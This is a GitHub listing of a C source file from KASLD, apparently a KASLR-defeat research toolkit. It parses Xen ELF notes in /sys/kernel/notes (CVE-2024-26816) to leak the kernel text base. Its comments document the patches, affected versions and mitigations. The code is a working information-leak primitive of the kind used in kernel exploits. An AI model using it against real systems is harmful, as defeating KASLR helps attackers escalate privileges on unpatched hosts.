-
Notifications
You must be signed in to change notification settings - Fork 52
Expand file tree
/
Copy pathsysfs_kernel_notes_xen.c
More file actions
354 lines (317 loc) · 14.5 KB
/
Copy pathsysfs_kernel_notes_xen.c
File metadata and controls
354 lines (317 loc) · 14.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// Parse ELF notes from /sys/kernel/notes for leaked kernel pointers on
// x86(_64) kernels.
//
// Xen ELF notes embed KASLR-adjusted virtual addresses generated via _ASM_PTR
// in the kernel image. The gating config differs per note:
// - Type 1 (XEN_ELFNOTE_ENTRY): startup_xen VA [CONFIG_XEN_PV]
// - Type 2 (XEN_ELFNOTE_HYPERCALL_PAGE): hypercall_page VA [CONFIG_XEN_PV]
// - Type 18 (XEN_ELFNOTE_PHYS32_ENTRY): pvh_start_xen - [CONFIG_PVH]
// __START_KERNEL_map (a virtual
// offset)
// So it is not merely CONFIG_XEN: the PV notes need CONFIG_XEN_PV and the PVH
// note needs CONFIG_PVH (a KVM/QEMU PVH guest enables CONFIG_PVH without
// CONFIG_XEN). CVE-2024-26816 is scoped to CONFIG_XEN_PV; on a distro kernel
// CONFIG_XEN=y pulls in both. Sources: arch/x86/xen/xen-head.S,
// arch/x86/platform/pvh/head.S.
//
// Also performs a generic scan of all remaining note descriptors for
// pointer-sized values in the kernel text virtual address range.
//
// # grep hypercall_page /proc/kallsyms | head -n 1
// ffffffffa6316000 T hypercall_page
// $ hexdump -C /sys/kernel/notes | grep '00 60 31 a6' -A 1 -B 1
// 00000180 04 00 00 00 08 00 00 00 02 00 00 00 58 65 6e 00 |............Xen.|
// 00000190 [00 60 31 a6 ff ff ff ff] 04 00 00 00 04 00 00 00 |.`1.............|
// 000001a0 11 00 00 00 58 65 6e 00 01 88 00 00 04 00 00 00 |....Xen.........|
//
// The Xen hypercall_page leak was discovered by Nassim-Asrir (@p1k4l4) and
// used in an exploit for CVE-2023-6546:
// https://github.com/Nassim-Asrir/ZDI-24-020/blob/a267e27f5868a975e767794cf77b3092acff4a26/exploit.c#L421
//
// /sys/kernel/notes was introduced in kernel v2.6.23-rc1~389 on 2007-07-20:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=da1a679cde9b12d6e331f43d2d92a234f2d1f9b0
//
// Xen ELF notes were introduced in kernel v2.6.23-rc1~498^2~25 on 2007-07-19:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5ead97c84fa7d63a6a7a2f4e9f18f452bd109045
//
// Leak primitive:
// Data leaked: kernel text virtual address (startup_xen, hypercall_page)
// CVE: CVE-2024-26816
// Kernel subsystem: arch/x86/xen — /sys/kernel/notes (ELF notes)
// Data structure: Xen ELF notes (XEN_ELFNOTE_ENTRY,
// XEN_ELFNOTE_HYPERCALL_PAGE) Address type: virtual (kernel text) Method:
// parsed (ELF note parsing) Patched: v6.9 (CVE-2024-26816,
// aaa8736370db); hardened v6.13 (223abe96ac0d) Status: fixed in
// v6.9 Access check: none (world-readable /sys/kernel/notes, 0444)
// Source:
// https://elixir.bootlin.com/linux/v6.7.3/source/arch/x86/xen/xen-head.S#L118
//
// Mitigations:
// Patched in v6.9 (relocations in .notes skipped). Further hardened in
// v6.13 (place-relative relocations). Requires CONFIG_XEN_PV and/or
// CONFIG_PVH (per the notes above). /sys/kernel/notes is world-readable
// (0444); no runtime sysctl can restrict access.
//
// Requires:
// - Readable /sys/kernel/notes
// - CONFIG_XEN_PV (startup_xen, hypercall_page) and/or CONFIG_PVH
// (pvh_start_xen)
// for the Xen notes; the generic note scan works without either
//
// Patched in v6.9-rc1~164^2~8 (aaa8736370db, CVE-2024-26816) — relocations in
// the .notes section are skipped, so values no longer reflect the
// KASLR-adjusted addresses (they become identical to System.map). Backported to
// the 2024-03-27 stable batch
// (6.6.23, 6.1.83, 5.15.153, 5.10.214, 5.4.273, 4.19.311, ...), so a build's
// version does not determine whether it is affected; the staleness check below
// distinguishes patched from vulnerable notes at runtime. Further hardened in
// v6.13-rc1~202^2~2 (223abe96ac0d) — Xen ELF notes use place-relative
// relocations to prevent leaking the KASLR base.
//
// References:
// https://cateee.net/lkddb/web-lkddb/XEN.html
// https://elixir.bootlin.com/linux/v6.7.3/source/arch/x86/xen/xen-head.S#L118
// https://elixir.bootlin.com/linux/v6.7.3/source/arch/x86/platform/pvh/head.S
// https://github.com/Nassim-Asrir/ZDI-24-020/blob/a267e27f5868a975e767794cf77b3092acff4a26/exploit.c#L421
// ---
// <bcoles@gmail.com>
#if !defined(__i386__) && !defined(__x86_64__) && !defined(__amd64__)
#error "Architecture is not supported"
#endif
#define _GNU_SOURCE
#include "include/kasld/api.h"
#include "include/kasld/cli.h"
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define ALIGN4(x) (((x) + 3u) & ~3u)
/* Xen ELF note types (from include/xen/interface/elfnote.h) */
#define XEN_ELFNOTE_ENTRY 1
#define XEN_ELFNOTE_HYPERCALL_PAGE 2
#define XEN_ELFNOTE_PHYS32_ENTRY 18
KASLD_EXPLAIN("On Xen PV and PVH guests, /sys/kernel/notes contains ELF notes "
"that embed KASLR-adjusted virtual addresses of startup_xen and "
"the hypercall page. These notes are world-readable and were not "
"updated after KASLR relocation until v6.9. Parsing the ELF note "
"structures reveals the kernel text virtual base.");
KASLD_META("method:parsed\n"
"phase:inference\n"
"discloses:virtual\n"
"cve:CVE-2024-26816\n"
"patch:v6.9\n"
"config:CONFIG_XEN_PV\n");
/* Check if /proc/kallsyms contains xen_elfnote_* global symbols,
* indicating v6.13+ place-relative encoding where Xen ELF note values
* are baked-in link-time constants (not KASLR-adjusted).
*
* Symbol names are visible regardless of kptr_restrict settings.
*
* Returns: 1 = found (place-relative encoding detected)
* 0 = not found
* -1 = error (cannot determine) */
static int has_xen_elfnote_symbols(void) {
FILE *fp;
char line[256];
fp = kasld_fopen("/proc/kallsyms", "r");
if (!fp)
return -1;
while (fgets(line, sizeof line, fp)) {
if (strstr(line, " xen_elfnote_")) {
fclose(fp);
return 1;
}
}
fclose(fp);
return 0;
}
/* The image base is recovered from these notes by alignment. On x86_64 _text is
* 2 MiB-aligned (CONFIG_PHYSICAL_ALIGN, the KASLR step), and the PHYS32_ENTRY
* note resolves to pvh_start_xen, which sits within a few KiB of _text (_text+0
* .. _text+0x5f0 across 5.x/6.x). The orchestrator floors the lowest interior
* sample emitted below to KASLR_VIRT_ALIGN, landing on _text.
*
* pvh_start_xen is the anchor for that floor. hypercall_page sits at _text +
* 0x1000 on <= 5.x (inside the 2 MiB window), but 6.x moves it to .noinstr.text
* ~16-19 MiB past _text, so its floor overshoots _text by ~16 MiB; startup_xen
* (.init.text) is ~25-40 MiB out. All three are emitted as interior samples, so
* the floor of the lowest bounds the guaranteed base from above. pvh_start_xen
* alone also pins the LIKELY base: its offset is below the align, so its own
* floor is _text exactly — emitted at CONF_HEURISTIC, which refines the likely
* window without ever narrowing the guaranteed one. */
int main(void) {
int fd;
uint32_t hdr[3]; /* namesz, descsz, type */
char buf[512];
char label[64];
int found = 0;
/* Xen notes are collected first, then cross-checked before output */
unsigned long xen_entry = 0; /* type 1: startup_xen VA */
unsigned long xen_hypercall = 0; /* type 2: hypercall_page VA */
unsigned long xen_phys32 = 0; /* type 18: physical entry offset */
kasld_info("checking /sys/kernel/notes ...");
fd = kasld_open("/sys/kernel/notes", O_RDONLY);
if (fd < 0) {
kasld_err("/sys/kernel/notes unavailable");
return (errno == EACCES || errno == EPERM) ? KASLD_EXIT_NOPERM
: KASLD_EXIT_UNAVAILABLE;
}
while (read(fd, hdr, sizeof hdr) == (ssize_t)sizeof hdr) {
uint32_t namesz = hdr[0];
uint32_t descsz = hdr[1];
uint32_t type = hdr[2];
/* namesz/descsz are attacker-untrusted header fields. Reject anything that
* cannot fit in buf before aligning or indexing: a value near UINT32_MAX
* would wrap ALIGN4() to a small total (defeating the total > sizeof buf
* guard below) and then index name[namesz - 1] far out of bounds. */
if (namesz > sizeof buf || descsz > sizeof buf)
break;
uint32_t name_aligned = ALIGN4(namesz);
uint32_t desc_aligned = ALIGN4(descsz);
uint32_t total = name_aligned + desc_aligned;
if (total > sizeof buf)
break;
if (total > 0 && read(fd, buf, total) != (ssize_t)total)
break;
if (namesz == 0 || descsz == 0)
continue;
char *name = buf;
char *desc = buf + name_aligned;
/* Ensure name is NUL-terminated (namesz includes trailing NUL) */
name[namesz - 1] = '\0';
/* --- Xen-specific notes: collect, don't output yet --- */
if (strcmp(name, "Xen") == 0) {
if (descsz == sizeof(unsigned long)) {
unsigned long addr;
memcpy(&addr, desc, sizeof addr);
if (type == XEN_ELFNOTE_ENTRY && kasld_addr_is_kernel_text(addr))
xen_entry = addr;
if (type == XEN_ELFNOTE_HYPERCALL_PAGE &&
kasld_addr_is_kernel_text(addr))
xen_hypercall = addr;
if (type == XEN_ELFNOTE_PHYS32_ENTRY &&
kasld_addr_in_range(addr, KERNEL_PHYS_MIN, KERNEL_PHYS_MAX))
xen_phys32 = addr;
}
continue; /* skip generic scan for Xen notes */
}
/* --- Generic scan: check pointer-sized descriptors for kernel text
* pointers. Catches vendor-specific notes (Intel TDX, AMD SEV,
* Hyper-V, etc.) that may embed handler addresses. --- */
/* Generic note scan: name = note origin (e.g. "Xen", "Linux",
* "GNU"), val = a kernel text address. The exact symbol behind it
* is unknown without per-vendor decoding, so use the note name as
* the "name" qualifier. */
if (descsz == sizeof(unsigned long)) {
unsigned long val;
memcpy(&val, desc, sizeof val);
if (kasld_addr_is_kernel_text(val)) {
kasld_found("found kernel address in %s note (type %u): %lx", name,
type, val);
snprintf(label, sizeof label, "%.40s", name);
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, val, label,
CONF_PARSED);
found++;
}
} else if (descsz == 2 * sizeof(unsigned long)) {
unsigned long vals[2];
memcpy(vals, desc, sizeof vals);
for (int i = 0; i < 2; i++) {
if (vals[i] >= KERNEL_VIRT_TEXT_MIN &&
vals[i] <= KERNEL_VIRT_TEXT_MAX) {
kasld_found("found kernel address in %s note (type %u, word %d): "
"%lx",
name, type, i, vals[i]);
snprintf(label, sizeof label, "%.40s", name);
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, vals[i],
label, CONF_PARSED);
found++;
}
}
}
}
close(fd);
/* --- Cross-check Xen notes for stale (unrelocated) values ---
*
* Three known states of Xen ELF notes on x86:
*
* 1. Pre-v6.9 (unpatched): .notes section has normal relocations.
* Values are KASLR-adjusted at boot -> live addresses -> emit.
*
* 2. v6.9+ (aaa8736370db): relocations in .notes are skipped.
* Values are static link-time addresses -> stale -> discard.
* Detected via PHYS32_ENTRY canary: pvh_start_xen sits near
* _text in these kernels, so PHYS32 < KERNEL_PHYS_MIN +
* KASLR_VIRT_ALIGN when no KASLR slide is applied.
*
* 3. v6.13+ (223abe96ac0d): place-relative relocations encode
* entry points as build-time constants. Values look plausible
* but are not KASLR-adjusted -> stale -> discard.
* Detected by checking /proc/kallsyms for xen_elfnote_*
* global symbols introduced by the place-relative encoding. */
if (xen_entry || xen_hypercall || xen_phys32) {
int stale = 0;
if (xen_phys32 && xen_phys32 < KERNEL_PHYS_MIN + KASLR_PHYS_ALIGN) {
stale = 1;
} else {
int ret = has_xen_elfnote_symbols();
if (ret == 1)
stale = 1;
else if (ret < 0 || !xen_phys32)
stale = 1; /* cannot verify -> discard conservatively */
}
if (!stale) {
if (xen_entry) {
kasld_found("Xen entry (startup_xen): %lx", xen_entry);
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, xen_entry,
"startup_xen", CONF_PARSED);
found++;
}
if (xen_hypercall) {
kasld_found("Xen hypercall_page: %lx", xen_hypercall);
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, xen_hypercall,
"hypercall_page", CONF_PARSED);
found++;
}
if (xen_phys32) {
/* PHYS32_ENTRY stores pvh_start_xen - __START_KERNEL_map, not a
* hardware physical address. On x86_64 the kernel text is mapped at
* __START_KERNEL_map + virt_offset, so this value IS the virtual KASLR
* offset; adding __START_KERNEL_map recovers pvh_start_xen's virtual
* address, which sits at or very near _text — the sample the
* orchestrator floors to KASLR_VIRT_ALIGN to recover _text (see the
* note above main()). The hardware physical load address is
* independently randomized and is not recoverable from this note. */
unsigned long virt = KERNEL_VIRT_TEXT_MIN + xen_phys32;
if (kasld_addr_is_kernel_text(virt)) {
kasld_found("Xen PHYS32_ENTRY -> virtual: %lx", virt);
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, virt,
"pvh_start_xen", CONF_PARSED);
/* pvh_start_xen is the PVH entry in .head.text (_text+0..0x5f0), so
* its VA sits within one KASLR step of _text; kasld_floor_text_base()
* rounds it down to the base grid (preserving any arch sub-offset),
* landing on _text exactly. Pin that as the likely image base at
* CONF_HEURISTIC: "within one step" is a structural regularity, not a
* runtime-provable bound, so it stays below the guaranteed floor and
* refines the likely window only — never the guaranteed base, which
* rests on the interior sample above. */
unsigned long base = kasld_floor_text_base(virt);
if (kasld_addr_is_kernel_text(base))
kasld_result_base(KASLD_TYPE_VIRT, REGION_KERNEL_IMAGE, base,
"_text", CONF_HEURISTIC);
found++;
}
}
} else {
kasld_err("Xen notes appear stale (unrelocated); discarding");
}
}
if (!found)
kasld_err("no kernel addresses found in ELF notes");
return 0;
}